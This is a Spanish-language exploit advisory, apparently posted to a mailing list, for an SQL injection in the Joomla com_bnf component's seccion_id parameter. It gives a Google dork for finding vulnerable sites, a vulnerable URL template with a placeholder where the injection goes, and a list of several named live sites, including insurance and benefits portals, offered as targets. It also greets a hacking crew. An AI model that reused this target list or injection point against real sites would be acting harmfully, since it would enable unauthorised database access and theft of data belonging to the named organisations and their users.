Joomla BNF SQL Injection

`# Exploit Title: Joomla Component (com_bnf) SQL Injection  
Vulnerability  
# Google Dork: index.php?option=com_bnf [1]  
# Date: 22/12/2011  
# Author: Daniel Godoy  
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com  
# Author Web: www.delincuentedigital.com.ar [2]  
# Tested on: Linux  
  
Visiten : www.0x3a.com.ar [3] www.remoteexecution.com.ar [4]  
www.remoteexecution.info [5]  
  
[Comment]  
Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas,  
LisandroLezaeta,Gaston Chareun,  
Inyexion, Login-Root, KikoArg, Ricota,Truenex, sunplace, _tty0,  
Sensei , Jorge Nuñez,  
LinuxFer, Rash, Scorp, Alan++, y demas usuarios de #RemoteExecution  
  
[SQL Injection]  
El error se encuentra en la variable seccion_id  
http://localhost/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=[SQL  
[6] Inyection]&direccion=&direct=0&Itemid=0&lang=es  
  
http://www.beneficioslacaja.com.ar/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=[SQL%20Inyection]&direccion=&direct=0&Itemid=0&lang=es  
[7]  
  
http://swissmedical.beneficios-corporativos.com/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=[SQL%20Inyection]&direccion=&direct=0&Itemid=0&lang=es  
[8]  
  
http://www.blueclub.com.ar/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=[SQL%20Inyection]&direccion=&direct=0&Itemid=0&lang=es  
[9]  
  
http://www.beneficioszurich.com/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=[SQL%20Inyection]&direccion=&direct=0&Itemid=0&lang=es  
[10]  
  
-------------------------  
Correo enviado por medio de MailMonstruo - www.mailmonstruo.com  
  
Links:  
------  
[1] http://index.php/?option=com_bnf  
[2] http://www.delincuentedigital.com.ar/  
[3] http://www.0x3a.com.ar/  
[4] http://www.remoteexecution.com.ar/  
[5] http://www.remoteexecution.info/  
[6]  
http://localhost/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=%5BSQL  
[7]  
http://www.beneficioslacaja.com.ar/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=%5BSQL%20Inyection%5D&direccion=&direct=0&Itemid=0&lang=es  
[8]  
http://swissmedical.beneficios-corporativos.com/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=%5BSQL%20Inyection%5D&direccion=&direct=0&Itemid=0&lang=es  
[9]  
http://www.blueclub.com.ar/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=%5BSQL%20Inyection%5D&direccion=&direct=0&Itemid=0&lang=es  
[10]  
http://www.beneficioszurich.com/index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=%5BSQL%20Inyection%5D&direccion=&direct=0&Itemid=0&lang=es  
  
`